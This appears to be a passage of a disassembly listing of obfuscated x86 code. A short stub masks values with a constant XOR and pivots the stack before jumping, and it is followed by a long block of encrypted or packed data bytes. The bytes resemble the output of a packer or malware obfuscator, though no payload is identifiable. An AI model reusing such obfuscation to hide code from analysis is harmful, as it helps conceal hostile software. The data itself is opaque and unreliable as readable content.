		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 1BAE293Dh
		xor	[esp+4], eax
		pop	eax
		pop	dword ptr [ecx+8]
		xor	dword ptr [ecx+8], 1BAE293Dh
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 0A9h, 4Eh, 3
		dd 4CB9E559h, 0AAB2A790h, 2C33E5FBh, 2A6F11B8h,	0FFC50306h
		dd 0FBC0E8E0h, 92798878h, 0DC9F4E19h, 2F8FEC0Bh, 0C6C0BD53h
		dd 0C44F1F65h, 3B0D79h,	22FCBC78h, 0F134D973h, 37BE9A64h
		dd 0BDD11600h, 20BF0416h, 0F546836Eh, 0A85EBC51h, 0AB8D8D39h
		dd 6A062A70h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F994C352h, 29ACD916h,	221BE5B5h
		dd 0F18D8906h, 0BF062233h, 6FF29703h, 2D3185C7h, 5F540622h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0BBA603C3h, 0F9A6B868h, 85C730AFh, 62230E5h
		dd 0
		dd 0A85B5FFh, 0BD890622h, 62230FDh, 206595FFh, 6A0622h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B4118C3h, 588E3749h, 85894DF2h, 62213E5h, 95FF006Ah
		dd 6223075h, 1EEBC08Bh,	0A710F5B0h, 420C7C32h, 98B5205Dh
		dd 78578F9Ah, 0DFD10C81h, 0A5594367h, 8510C311h, 9E8F885h
		dd 2D000000h, 1417730Fh, 600D7BD8h, 0F559F28Bh,	5A14C181h
		dd 0C18A0000h, 0F78BFF2Bh, 0E939148Bh, 0Bh, 7B14B8E3h
		dd 0EC9DEE09h, 81B6C03Ah, 879218EAh, 0F5850901h, 81062232h
		dd 80FF7EEAh, 79BD317Ch, 81062212h, 2F6192F2h, 0C78B660Dh
		dd 0EE852h, 6D400000h, 0CEF703ACh, 1EE7DD70h, 0A81717DCh
		dd 9FE68166h, 48F5BF9h,	9D8BF539h, 6222181h, 0B404EF83h
		dd 6CFF816Eh, 0FFFFFA6h, 0FFFF9785h, 0EB9CB0FFh, 46DE900h
		dd 64290000h, 0FC8FB0DBh, 94FB244Fh, 26535CB7h,	0C1CDF21Dh
		dd 5D1F6B82h, 0B2DD6A14h, 274EFD8Dh, 5AB58EFAh,	0F51C2755h
		dd 6BBF6D0Ah, 8E41104Ah, 0E2A8E5C8h, 40680465h,	0B541104Ah
		dd 770ADA06h, 6454904h,	3C5796D5h, 54BF8CF3h, 69031E6Bh
		dd 473A3B41h, 0AFC6F9B4h, 0C42F1C62h, 7394B3DBh, 4CFA0492h
		dd 0B0ECD87Ah, 2B1862AFh, 9EA9DFC0h, 0BBA16277h, 0DCD4390Eh
		dd 34B6C6D2h, 0B582474Fh, 82B78C3h, 1E6E8BC9h, 0B1E25D2Bh
		dd 48D83372h, 4920558Eh, 4A32837Ch, 0FA8FACF1h,	6C0FB2FBh
		dd 0CB0A70DCh, 84187D9Ah, 41134074h, 27F51299h,	41134013h
		dd 5F69B706h, 0ADD26712h, 0C92E4D9Eh, 13400753h, 80C3EA41h
		dd 175C1769h, 4EED3AF2h, 0A5024F31h, 0F83B68D3h, 0B4D894B9h
		dd 4A4B71BAh, 2B26698Fh, 4245A85Bh, 9CFD4A35h, 71B6F800h
		dd 429E1D4Bh, 135C3h, 7A5F4B00h, 0CC227689h, 0EDBF0049h
		dd 473A31DDh, 1A277D30h, 94AFD974h, 0B0E52447h,	0ABDFDCBDh
		dd 31D6E2BAh, 703B473Ah, 89EEE331h, 0F146B538h,	9BB90695h
		dd 3A2BADC1h, 184D6047h, 0E4B8A9D3h, 473A2BD4h,	2BFF0BE1h
		dd 9B12473Ah, 0BDD417A6h, 0EE3F0874h, 0D12618E9h, 0A7241542h
		dd 1F641F79h, 649D22FAh, 2B824918h, 78C3B5FAh, 0CA79062Bh
		dd 0AACEB399h, 0C0CDAC84h, 36428FB8h, 479DD80Dh, 0D6A67EFAh
		dd 4132026Dh, 75B493FCh, 13179814h, 0FF84F3Ah, 54BA5610h
		dd 66B7F6CEh, 0EF064549h, 4EFD8D8Ah, 0ED91DE1Dh, 97E7025Eh
		dd 67197BA8h, 6ABDFA9Ah, 0F9383702h, 7ACC0CE0h,	6A414B7Eh
		dd 0FD423103h, 0E7AB79Ch, 65DEF35h, 2F455C79h, 7F0652CAh
		dd 0C0EB555Ch, 0F116A59Ch, 0FBCA5F10h, 0A4F80DE0h, 25226C81h
		dd 0ACB9C5CAh, 2D85D547h, 4568555Ch, 5C2D4793h,	810DAA55h
		dd 274083C2h, 71A2A1EAh, 2D709814h, 16A5555Ch, 56F59AD7h
		dd 63BAE605h, 59266F61h, 3B7AB9EAh, 2D064EDEh, 0C6D3555Ch
		dd 1D588DB6h, 8634AC7h,	0A1C87707h, 152E5B58h, 0AB5837CFh
		dd 0D665DDEh, 25646E70h, 0CCE728C4h, 0B7104918h, 513A8E8Ch
		dd 0F982A1F2h, 39672847h, 1B78AD00h, 0F5BD136h,	0E2411888h
		dd 88F119CBh, 2604118h,	5330F6E4h, 92CEED52h, 0FD1A2557h
		dd 672CBB0h, 8ACDE83Dh,	9DC61A59h, 2C24A630h, 439301E5h
		dd 5E411865h, 0D56E1B2Eh, 81A94380h, 74411865h,	0BE10639h
		dd 411865FFh, 31589B12h, 0A4A3EB28h, 0AA4F3477h, 0C03F9C0Dh
		dd 0DEAECB09h, 2C2A3ADFh, 1053BFA5h, 0CE1A92F7h, 23411871h
		dd 0FC315488h, 4366B790h, 0A72B236h, 4904D631h,	6C4BD191h
		dd 2Dh,	64AB58BAh, 4ACA6903h, 96E34918h, 0CB085DE6h, 182A0951h
		dd 8EC1EC41h, 87D4E752h, 0CBA3226Ah, 0EB1A256Ah, 9D709BDAh
		dd 0Ah,	39027741h, 8AB5C714h, 277AB63h,	0B9F84737h, 5AD2A7AEh
		dd 473A3B02h, 46ABCCEFh, 3A3B82D6h, 18447747h, 0C9A388CDh
		dd 473A3BA1h, 3A6BD4A4h, 3A7746FBh, 84A7F44Fh, 0DE6B1158h
		dd 0D5E91AAh, 2E1E5A07h, 3A3B2A7Eh, 65ECCF47h, 3B7C9814h
		dd 8879473Ah, 0A48D0039h, 0D54C9081h, 0DFEB81E6h, 0EA473A32h
		dd 9B60DBADh, 0B37AE7E8h, 9E8BC953h, 96E3F41Fh,	0FB065AE9h
		dd 4451B691h, 8CD70D3Ah, 211A6EABh, 1AF276F3h, 67536735h
		dd 0F7C6473Ah, 1952A9h,	5F800000h, 0C91A2952h, 8D2DD1AAh
		dd 7C73BC2Bh, 0C8731920h, 1D26569Bh, 77A971F2h,	0C3E83D06h
		dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh
		dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 5585450h,	4, 8704E883h
		dd 685C2404h, 69C4h, 56241489h,	0C681E689h, 4, 8704EE83h
		dd 895C2434h, 0BD552404h, 2AA747BCh, 8D36E2BAh,	8BEA312Ch
		dd 0C481242Ch, 4, 8904EC83h, 4832424h, 81580424h, 4ECh
		dd 24148900h, 89243481h, 8F0F3F1Eh, 70810840h, 3F1E8908h
		dd 24048B0Fh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 5724148Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF80D23h, 0F2CEA99Dh
		dd 9DCB8713h, 0B86D39A7h, 62A7530h, 0E0FFC503h,	5F51A7BCh
		dd 351755B8h, 28746607h, 4C83C628h, 284601B0h, 65B6773Eh
		dd 65D93102h, 7978BF40h, 6F77A55Ch, 50CF2AE7h, 34DA29A7h
		dd 7392DE3h, 57AA191Bh,	501FB5h, 3A399A1h, 7499A7DBh, 56F2D339h
		dd 73593D79h, 10D3D4D0h, 75A2DC75h, 54A5176Fh, 57D61234h
		dd 798D1247h, 2709E34Dh, 76A28D8Dh, 300BE323h, 43DFB072h
		dd 51702867h, 1159323Ch, 7934E588h, 0C9463B2h, 13A6BE60h
		dd 0D68B472Bh, 2880F61h, 8B000000h, 72DF81F0h, 6602D869h
		dd 8A2BD3BAh, 0B0C781EAh, 0F52AE790h, 0DE9h, 0A81E9B00h
		dd 85261303h, 0C55F5DDBh, 0DCBE3953h, 60156203h, 74BBB966h
		dd 6123CA80h, 12E8h, 3FA58700h,	426C8F29h, 0CCC53EFDh
		dd 0C13710Eh, 0E993A62Bh, 9, 272987D1h,	6416BA94h, 8B665FEEh
		dd 840FC6h, 81000000h, 3C68A9E6h, 48A0F10h, 66000000h
		dd 8B9705BFh, 4860FDAh,	66000000h, 60A926B9h, 0CE8h, 3EEF4800h
		dd 91D055C7h, 0CE905D72h, 0FEBDB8BBh, 515B5791h, 615E6160h
		dd 0BE9h, 927B2700h, 385FDA43h,	356E2F1Eh, 0F9B8F7B8h
		dd 0D2B70F7Dh, 0EB12BBBh, 0E7816Eh, 0E93C8B30h,	0Ah, 8D0816F6h
		dd 46032DB0h, 8B66C2C0h, 7E8CFh, 58490000h, 0FEE96267h
		dd 2860FC7h, 60000000h,	0F38B5961h, 5170B866h, 0C8816060h
		dd 2F5253E2h, 1CCE8061h, 0BE861h, 40BA0000h, 65D6064h
		dd 13EBBA63h, 6880FEEh,	0F000000h, 8Ah,	0D0815A00h, 7449830h
		dd 5830Fh, 81660000h, 81489BEAh, 0C94F39E2h, 0EA81FC15h
		dd 2BDB7BC8h, 80C6BF0Fh, 8E839C2h, 8C000000h, 0CEBE5755h
		dd 0F55CF79h, 48Fh, 0F4BE6600h,	0BF0F5F89h, 0B430B7F3h
		dd 0A7F181FCh, 804AFB36h, 6E99BD2h, 9F000000h, 5C23F73Eh
		dd 0FE8B66B8h, 0ADE68166h, 0F516042h, 81h, 0E8605F00h
		dd 7, 23E2E81Fh, 596DC559h, 880Fh, 61610000h, 87BE6660h
		dd 0FCFC61ECh, 13E951h,	0A50000h, 0E7074D71h, 5E75AE8h
		dd 30DF4451h, 0D6C7E93Dh, 8B605E65h, 61D38BDFh,	10E8h
		dd 1918EC00h, 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 0C8816662h
		dd 605F8B0Dh, 2820Fh, 8FB40000h, 61F08B66h, 2830F51h, 52000000h
		dd 0A2B6585Bh, 69EBEB81h, 0B6F9081Dh, 8E9DFh, 547A0000h
		dd 8F3E6714h, 0BF0F9B2Bh
		dd 65B866DBh, 0D68B6608h, 4870Fh, 0BA660000h, 0FCF57E0Eh
		dd 12E8h, 0B3318600h, 1589CE0Eh, 0C4176339h, 0FF71A287h
		dd 0E8BFE44Bh, 8, 0FD8E82BEh, 888F8592h, 5F5BCD80h, 0EE85Bh
		dd 2A900000h, 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 8166FC60h
		dd 611B2CCFh, 0FE95Eh, 0E3D20000h, 50C8E9D4h, 0C275457Bh
		dd 78F3B4BAh, 0D3C3812Dh, 81764567h, 5537EAD8h,	6E902h
		dd 0D8F00000h, 432A13E7h, 0FF5D98Bh, 5F56C6B7h,	0BE8h
		dd 38EEEA00h, 4882A807h, 2581C390h, 6E9h, 0BA978200h, 59BB4937h
		dd 8B666060h, 0BA6661FBh, 6661663Eh, 5360C88Bh,	7E9h, 0F3651200h
		dd 618B3DBh, 88E1815Bh,	6107467Fh, 0FEDD27BFh, 0F98BBA17h
		dd 0EE8334Ah, 1B000000h, 66194D1Bh, 3546DE1Ah, 16506D9Ch
		dd 0D810FF2h, 0E8000000h, 7, 2DCD24E3h,	5FCA6D7Eh, 56F4805Eh
		dd 803FE280h, 68B900C0h, 0E905D3EFh, 0Eh, 0A86AE916h, 9317482Fh
		dd 7119BEA8h, 0BB669684h, 0FFC3515h, 0AE9FBBFh,	97000000h
		dd 315638E7h, 0E9BCBDE3h, 38E0F40h, 0F000000h, 14E9F8BFh
		dd 0D7000000h, 0FD411276h, 7D23A6FBh, 80585CC3h, 0E1F3CBBDh
		dd 66668192h, 0F556F18Bh, 6ABA665Eh, 0B70FF886h, 8B6052C9h
		dd 0CA8B66CEh, 66F85861h, 176CD981h, 5830Fh, 81660000h
		dd 0E9F81DF1h, 9, 0D741ACABh, 0CCA14C98h, 0DE8B66AAh, 61D18B60h
		dd 6880Fh, 850F0000h, 0
		dd 56EF8166h, 80C18BC7h, 0D68106EBh, 51C06F69h,	55D68160h
		dd 60749F94h, 616016B7h, 9EB86161h, 81329331h, 29B4B3F3h
		dd 0FD38B38h, 890FD2BFh, 1, 0BF0F51F8h,	0F605AF8h, 38Eh
		dd 0C88B6600h, 3890Fh, 8B660000h, 816661D3h, 0F025DD3h
		dd 0BF66CBBFh, 0BE9D735h, 2B000000h, 0A1182450h, 0C3F95BA0h
		dd 0E950CFF8h, 9, 74F4EC97h, 88F071ADh,	0DE95966h, 34000000h
		dd 92BFAA5Eh, 2291E05Fh, 1CEA9C7Ch, 2967C981h, 0C2806D50h
		dd 0E6DE8113h, 0E8265594h, 6, 0E53579C4h, 49B0CB8Dh, 0E981665Ah
		dd 81666180h, 0E86FFDE1h, 14h, 0B1F8BD0h, 0CF9D635Fh, 4390C8A9h
		dd 68DFEC50h, 0AC8EA3D3h, 0A232B9BEh, 0E9F95B38h, 0Ah
		dd 202857BFh, 0DA68D096h, 12E88A96h, 0CA000000h, 0C02CDD7Fh
		dd 3DC445A8h, 0B13CBE55h, 0AC4C15DAh, 14E970h, 3E330000h
		dd 0B7D5D523h, 93689F9Bh, 0F4FD108Bh, 0B8881287h, 665AF843h
		dd 68DAF381h, 0BF0FEF8Ah, 0E08166C6h, 0CBBEF7EAh, 6603D534h
		dd 8BB024BFh, 0FABF0FD7h, 0DE8DE8Bh, 9E000000h,	40C24B1Dh
		dd 0A30A5F1Ch, 468D6EF7h, 0E9582BB3h, 10h, 428B7524h, 0A418932h
		dd 4894CD95h, 935E0FC2h, 31A2F381h, 0FF8180Ah, 589h, 0EC63B900h
		dd 0FE93000h, 0C3000000h, 0F952E613h, 5E5F9074h, 0C02D263h
		dd 11E95308h, 8F000000h, 867521E9h, 4C325779h, 0D79AC43h
		dd 7E68E4E6h, 28E0Fh, 0E78A0000h, 5820Fh, 81660000h, 0B74F71F1h
		dd 0DA8B6699h, 14E9h, 0B8B7C00h, 67489FBBh, 48D63052h
		dd 8EB1E864h, 414DD3F2h, 0EE816666h, 8F0F3A4Ch,	9, 38D0Fh
		dd 0B70F0000h, 0F560F8D6h, 0E7816661h, 816680EDh, 5302CFDEh
		dd 0ADEA8060h, 840Fh, 59610000h, 1840FFCh, 0F8000000h
		dd 10870Fh, 0BE90000h, 0C9000000h, 93D529E5h, 5F95EC66h
		dd 0C0802D8Dh, 7E976h, 822F0000h, 34AF6D55h, 0EEC88107h
		dd 0B0078636h, 0C881669Dh, 0BF0FBB19h, 1870FF2h, 0F8000000h
		dd 110366B8h, 8166F849h, 0E98EEEEFh, 9,	230BB31Ch, 0AFD31490h
		dd 58A0FFAh, 66000000h,	0E2ABD981h, 0C28BD78Bh,	66E5D280h
		dd 60C927BAh, 0CE8EBB66h, 616CD780h, 8B66F88Ah,	816656C1h
		dd 59063DEFh, 1DCA8166h, 0F8E8BA68h, 8E958C1h, 0A000000h
		dd 9A01E0EFh, 6620FA6Eh, 0A7C281h, 56FA8B66h, 59F1BF0Fh
		dd 81DBBF0Fh, 0D1F0C5E0h, 9E844h, 9F030000h, 0A958AB00h
		dd 81C49033h, 70C67ED2h, 0D3B55972h, 8243B9FCh,	97BB3AF8h
		dd 0E87FD043h, 0Fh, 16D1A519h, 0CE5C9941h, 0BC523B8Fh
		dd 0BBEF5234h, 30828C8Ch, 6890F5Fh, 81000000h, 0B1B211CAh
		dd 0FC60604Bh, 61FBBF0Fh, 5880Fh, 0AFBE0000h, 613529EEh
		dd 0BF6606B0h, 0BF0F5FBDh, 8AB6BBDFh, 10E9297Fh, 56000000h
		dd 9C471DC2h, 815893C7h, 1A263EECh, 6611191Eh, 7E9C18Bh
		dd 0A3000000h, 759CDD2Fh, 0D38B0693h, 4810Fh, 0BA660000h
		dd 0CB8BB717h, 6E9h, 0AB9DA700h, 0F898CE7h, 0D081F0BFh
		dd 6555BE93h, 8166DA8Bh, 0F86B5AC0h, 830FC38Bh,	5, 6628B6BBh
		dd 1A800F6Bh, 0E8000000h, 0Fh, 32B532D6h, 4BFA1BD2h, 9AFB91h
		dd 66921F1Ch, 0C522D881h, 0F7816658h, 880F082Ah, 1, 0E9CF8BF5h
		dd 0Bh,	0C4EE3E64h, 0FBA2216Ch,	0B575C4BDh, 0AE966h, 0BD480000h
		dd 0B0301CC3h, 0C79F6096h, 0D3B70F51h, 0AE85Ah,	362D0000h
		dd 0BD2366A0h, 761E017Ch, 11E9h, 70C29B00h, 0AD47D481h
		dd 26468172h, 0F065D112h, 665AA1DCh, 3D9E981h, 0F0FABA66h
		dd 26CA8166h, 0DBB70F5Dh, 10E91DB6h, 0BF000000h, 0CAEA5AADh
		dd 0F91B2736h, 6AE03203h, 668436E9h, 5555E781h,	2DE68166h
		dd 32DA812Ah, 0F630036h, 0BFFCC7BFh, 26A4BE98h,	490AB966h
		dd 0D88BDF8Bh, 2890Fh, 0ABB40000h, 9800Fh, 8F0F0000h, 3
		dd 81D7B70Fh, 703B12E6h, 11E948h, 78050000h, 0CC93BB7Fh
		dd 0DCE35A9Ch, 0AE1A962Ah, 0E8811611h, 7, 4E9BA886h, 81E5E5DDh
		dd 0BA1F82E8h, 13E95B1Dh, 33000000h, 28DD631Fh,	0EC737686h
		dd 3ECB12B0h, 0F8CA4C0Bh, 0B70FC7ECh, 58A0FF0h,	66000000h
		dd 0D6ADDB81h, 4820Fh, 0B9660000h, 8B66C27Dh, 0E8C38BD8h
		dd 0Dh,	70374B50h, 0DAC72D6Ch, 333106CBh, 68C0F38h, 0F000000h
		dd 8Ch,	0D0805B00h, 10E8F9EFh, 0BC000000h, 0E309263Fh
		dd 9C4DC455h, 61C232C5h, 66E85B81h, 0A9E3D281h,	0C781665Fh
		dd 0BF66A5D7h, 74BE079Fh, 50049711h, 0F8595E56h, 13E8h
		dd 0FFBA0F00h, 0AFA24D1Ah, 0DB0685F3h, 710FFBC4h, 7CA11C22h
		dd 5FDA8B66h, 8B66D78Bh, 0F8FE8BD1h, 8E9h, 64C24700h, 0FF41841Ah
		dd 0C2B70F9Bh, 11E9F8h,	6F500000h, 0B355D019h, 0E6A64452h
		dd 9342B20Fh, 0FC8E4125h, 8F0Fh, 0C88B0000h, 6489B966h
		dd 0D8D18166h, 6E9CAh, 428E0000h, 77E05557h, 0D8816660h
		dd 0A6B2CCFFh, 6FB96661h, 0F08166D4h, 0D7818AC0h, 4AD9130Ch
		dd 0AE9h, 0BDB82200h, 48275D73h, 0E8987F9Fh, 10h, 0A58FD808h
		dd 0DD951A37h, 7DCE7Ah,	0F55A66D9h, 539BBB66h, 0D88B665Bh
		dd 0F94FD781h, 11E83B6Fh, 0C1000000h, 0BE527D00h, 115F4903h
		dd 0FB36F675h, 28350AE1h, 0DD35EE81h, 0E95A030Ch, 0Eh
		dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 14E97E3Eh, 2A000000h
		dd 0F7279297h, 4DFC68E2h, 0F3BB9F64h, 0C14BCA51h, 0F78FC85h
		dd 1080h, 0BE900h, 1BD0000h, 0F54F974Dh, 1DB01D15h, 0B8F180FDh
		dd 0AE9D38Bh, 14000000h, 1CE6F556h, 0BEB1F805h,	72E580E0h
		dd 10E9h, 0B28C7A00h, 5F363211h, 70B4A164h, 0C70F21C3h
		dd 0D78166ECh, 0F7809EDDh, 0C381FC06h, 10EDB913h, 3AD570B8h
		dd 0F2B70F14h, 5E8h, 92C93D00h,	0E86034F9h, 6, 0CA1E6D4Ah
		dd 525EFDE2h, 665F615Fh, 8166D78Bh, 0FAD4FCBh, 9E9FBB7h
		dd 60000000h, 0B313FE9Dh, 53FA53B0h, 4059C881h,	8E923F1h
		dd 0C2000000h, 6549B908h, 0F83811F8h, 0C8F0Fh, 8D0F0000h
		dd 6, 8B0Fh, 8E80000h, 0C7000000h, 2631C300h, 0FE9775Bh
		dd 682h, 0B6D88100h, 5A2D44C5h,	66C38B66h, 8166C78Bh, 0BA4BB8E6h
		dd 5CB1B29Ah, 6860Fh, 0F600000h, 61F9DEBFh, 8A60C68Ah
		dd 816660CEh, 0F1C5CF6h, 6161C7BFh, 0BD6E5FB9h,	0C6B70F72h
		dd 0F9D88166h, 80BB66F3h, 7FB9660Eh, 51D6B4ECh,	0EE9h
		dd 0E6A1A600h, 5CFDE800h, 0F8C4BA72h, 5EB2C0D6h, 2AC78166h
		dd 8C0F51E9h, 2, 665FA2B0h, 0D8BBC38Bh,	0B32FA10Ch, 850FFC76h
		dd 6, 54ED681h,	0BF0F48DDh, 66ADB3F3h, 0E87C0DB9h, 10h
		dd 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h, 0EE9605Bh
		dd 86000000h, 80646015h, 5B53FFC9h, 883A64E2h, 0F3E880D0h
		dd 8B616061h, 7E9FAh, 0EC540000h, 0BCF7B1A3h, 0DE96Bh
		dd 8A000000h, 0BE224B3Dh, 6BC139D3h, 0E9679E22h, 0Bh, 58CEAF47h
		dd 19B67732h, 0B5E521F9h, 0FDA8BD8h, 1686h, 0EE85700h
		dd 31000000h, 10A357Ch,	9D9D799Ch, 161FC099h, 665A59F7h
		dd 8166D08Bh, 0F558ED2h, 98Fh, 3840F00h, 66000000h, 7E9F38Bh
		dd 89000000h, 0CD950A41h, 8B514894h, 0F605BCEh,	118Ch
		dd 0CE900h
		dd 4BE40000h, 0D3DE31CBh, 43C6C7D9h, 6061816Eh,	0CE8h
		dd 9452A300h, 42DEBE67h, 16779207h, 0FE8DFh, 0FE590000h
		dd 7BAFFAB7h, 1F84685Ah, 9EF21B4Ah, 615A5BB7h, 0DE9CF8Bh
		dd 0A2000000h, 0FB004FFCh, 0DDBDCA5Bh, 4EF80CD2h, 4D5495B8h
		dd 0F1B70F3Dh, 12E9h, 8E6A9F00h, 6312D815h, 1993C66h, 0A64C2711h
		dd 667A0FBEh, 60201CBAh, 14E9h,	5475DF00h, 0FEDB1059h
		dd 0CF0EC2C1h, 0F1153110h, 75D933Ah, 8B666177h,	0D18B66F8h
		dd 8850Fh, 8C0F0000h, 2, 6E9B9B3h, 0F0000000h, 699AFA68h
		dd 8B0F6074h, 2, 81616160h, 0C99E3DEh, 850F58h,	51000000h
		dd 0C830F5Eh, 0E9000000h, 7, 2AC4DCA5h,	0E8087E4Eh, 0Bh
		dd 6C2E7C34h, 0E22247D3h, 5894B4E5h, 0CE96BB7h,	5E000000h
		dd 0EF4A5B7Bh, 5CED99A0h, 8BD35BC2h, 0D2B70FD7h, 0C8816660h
		dd 0BF668A3Bh, 0F61F6B4h, 48Ah,	0E6BA6600h, 5BF95616h
		dd 8B665953h, 8B6660F2h, 25DB80F2h, 3FBE6661h, 0AE9AEh
		dd 0D0800000h, 0AEF161D2h, 8AC03EFEh, 96E68166h, 9906BE3Ah
		dd 8B66272Fh, 0F60FCC7h, 685h, 800F00h,	0E8000000h, 8
		dd 98D8EB29h, 0D12B9D27h, 5EC7B70Fh, 0ADE4B961h, 880F472Ah
		dd 4, 0E446BA66h, 6840F60h, 0F000000h, 8Ch, 7CC08100h
		dd 6178B3CFh, 0FE9h, 7A7E3000h,	1279DBE1h, 5FADE21Ah, 0CD3BC095h
		dd 4860Fh, 8A530000h, 60605ADEh, 0D30DBF66h, 12657ABEh
		dd 5E9610Bh, 64000000h,	0BC268830h, 0D7816661h,	7CB7638Bh
		dd 8E860h, 87D90000h, 9E4D5EE1h, 816660F8h, 5BE27DE2h
		dd 6187F780h, 38E0FFCh,	0F000000h, 0C9B0D0B7h, 8BDF8B66h
		dd 0D78166FEh, 8B66C2DBh, 0E9F28BC3h, 12h, 336F8A5Ah, 770D701Eh
		dd 0E12627DBh, 36CDCFh,	0EE8FF98h, 7F000000h, 3EEB702h
		dd 0C88842B9h, 1E515F89h, 5AD98B06h, 0C3B6DE81h, 816625E0h
		dd 0FEDCCE8h, 14E8DFBFh, 44000000h, 3DC619EDh, 9A18572Fh
		dd 0DCD9260Fh, 0E4477538h, 0B55A6FFBh, 820F5997h, 1, 0CBBE66F5h
		dd 840F51BAh, 2, 8A5FA0B6h, 38F0FF0h, 80000000h, 0EE9C1CDh
		dd 0CD000000h, 0ABB1AF10h, 0C5923D1Bh, 50D648E8h, 1277B8F9h
		dd 0DE85247h, 0A3000000h, 0D7B4BE1Dh, 32158895h, 0BB2B6FF2h
		dd 5ADF8B66h, 5FDE8A53h, 0BE860h, 803F0000h, 50178F5Ah
		dd 221291F0h, 860FFFh, 5F000000h, 0AE9h, 0FF8C3D00h, 0BEC5603Ch
		dd 61FD6AACh, 58E0Fh, 21BF0000h, 602ADC9Bh, 66CF8B66h
		dd 61F2BFB9h, 0BA661AB6h, 0BE8BD3Dh, 34000000h,	6972C5DCh
		dd 2F9E8DCh, 5BF94161h,	0E36CB966h, 12E956h, 0D67F0000h
		dd 512657CDh, 48189567h, 0BCA309E6h, 6052F717h,	0C8BF0F5Bh
		dd 14E9h, 0ACE14500h, 73291B37h, 0B02FC089h, 1660179Fh
		dd 0C7A05DC2h, 0EE9D7h,	26B30000h, 0EB28E8A5h, 1ED3D5E9h
		dd 0F916D990h, 0A18AB966h, 66C68B66h, 6D49EA81h, 0F577F780h
		dd 0DE9h, 430B9300h, 0C9FDEF9Dh, 27949252h, 34B04A99h
		dd 19E78166h, 0B96660E9h, 0F60979Ah, 8Dh, 850F00h, 61000000h
		dd 77DBBA61h, 0E9807843h, 0C810FCEh, 0F000000h,	689h, 0A8C28100h
		dd 663B0C3Ch, 0CE8C38Bh, 0EF000000h, 8B17B017h,	419464A4h
		dd 8B95C06Fh, 5E85AFEh,	0BD000000h, 3A4DA24Bh, 2810Fh
		dd 1BB70000h, 0FE859h, 8F1D0000h, 2BFD7110h, 5708F0F1h
		dd 488D10FBh, 5E8C5h, 98830000h, 0E83AA5E8h, 11h, 8107072Dh
		dd 0FD647B81h, 0E8A44FE0h, 0BE397F1h, 58585F73h, 0A5EF8166h
		dd 1DF681F3h, 0F9258F7Eh, 14E957h, 0E6F00000h, 6A7D421h
		dd 0F9C25AD5h, 4508DE84h, 0D568C1E4h, 665BEC4Ch, 15CEDF81h
		dd 0AE9h, 0FE92EC00h, 2E4F8A3Ah, 5660F2FDh, 58D6BF0Fh
		dd 0BE9h, 2EF93C00h, 0E8BA0E07h, 3E3EB4B7h, 0CE106CBAh
		dd 0FEBF0F53h, 3800Fh, 8B660000h, 0DBB70FDEh, 0E880Fh
		dd 9E90000h, 0FC000000h, 92E480E9h, 5096A0C6h, 5E8h, 346F7500h
		dd 0CB8B4D47h, 0EA81665Bh, 6E9B55Fh, 0
		dd 69DC388Dh, 0DE816696h, 4FB73C50h, 0E9D3B70Fh, 7, 69237207h
		dd 0F385CA3h, 38Dh, 0B9C68000h,	11E9h, 0ECC46E00h, 5D13B0F3h
		dd 0DA0D2587h, 0B2EFACF9h, 810F4662h, 0
		dd 0FE8h, 3972F500h, 0FED82102h, 6B708C20h, 0D5F6F2C3h
		dd 5AFAB70Fh, 14E8h, 6443200h, 9952C624h, 2E95F5CFh, 8AFB16Bh
		dd 7A61EDFCh, 4890F7Ah,	66000000h, 5A3150BEh, 4822B3B8h
		dd 0BB576046h, 153899E1h, 4820F5Ah, 66000000h, 613FCEBEh
		dd 6E9h, 94C21700h, 0B7ADF5D7h,	8B2EB613h, 75F681C8h, 0B966F672h
		dd 68234DE6h, 13E9h, 0E9E58900h, 0B0D2991Fh, 68E5D18h
		dd 0CBE61ADEh, 0DEDFF242h, 88D0Fh, 80600000h, 0BF0F2BEAh
		dd 0FF561F3h, 8166C6BFh, 0E8036FC7h, 9,	0FF2D348Dh, 0BEEA36D7h
		dd 5BC88B6Bh, 0D6BF0FF5h, 0E935B360h, 14h, 7131B470h, 9600D42Ch
		dd 9FA527F0h, 6E595AF2h, 0FC59783Fh, 8312B961h,	5E92D02h
		dd 3A000000h, 4777191Ch, 6E7093B8h, 28C28130h, 513FCC7Dh
		dd 4CE161BBh, 50F85A6Eh, 99BF6660h, 0D98B669Bh,	0C78B5B61h
		dd 12E9h, 0F23C5100h, 0B0CE3709h, 1BF6D064h, 6DAEFE9Eh
		dd 0B0E7ADFAh, 0D981663Dh, 81660228h, 0FB992F7h, 380h
		dd 8BE08000h, 8A3C61BEh, 12E97Dh, 62C20000h, 0CB38F36h
		dd 454E134Bh, 0EA742BEAh, 0A9B9A8C4h, 11E9h, 5C080F00h
		dd 15E54DAFh, 0CA79E34Dh, 0B6024CE3h, 10E91FBEh, 0A9000000h
		dd 9635604Ch, 492A51D3h, 0C8D6B0F0h, 0E83814B7h, 8, 0E4548A51h
		dd 0C305C936h, 2850Fh, 0DA8A0000h, 0FF28B59h, 282h, 0FDF8B00h
		dd 81h,	14E9F800h, 74000000h, 0C1C76A5Eh, 92938169h, 0DD5ABECBh
		dd 0F6348099h, 0F4577D7h, 484h,	0CBF6600h, 8B6650D8h, 10E85FF1h
		dd 7000000h, 9A9447E5h,	23968503h, 3C200EEDh, 0B4E5D533h
		dd 8B665F14h, 6E9F3h, 8330000h,	0AAEABA00h, 66F7BF0Fh
		dd 667EC181h, 7E9h, 57034C00h, 6DB1998Ch, 0F0817AB5h, 4D86DD4h
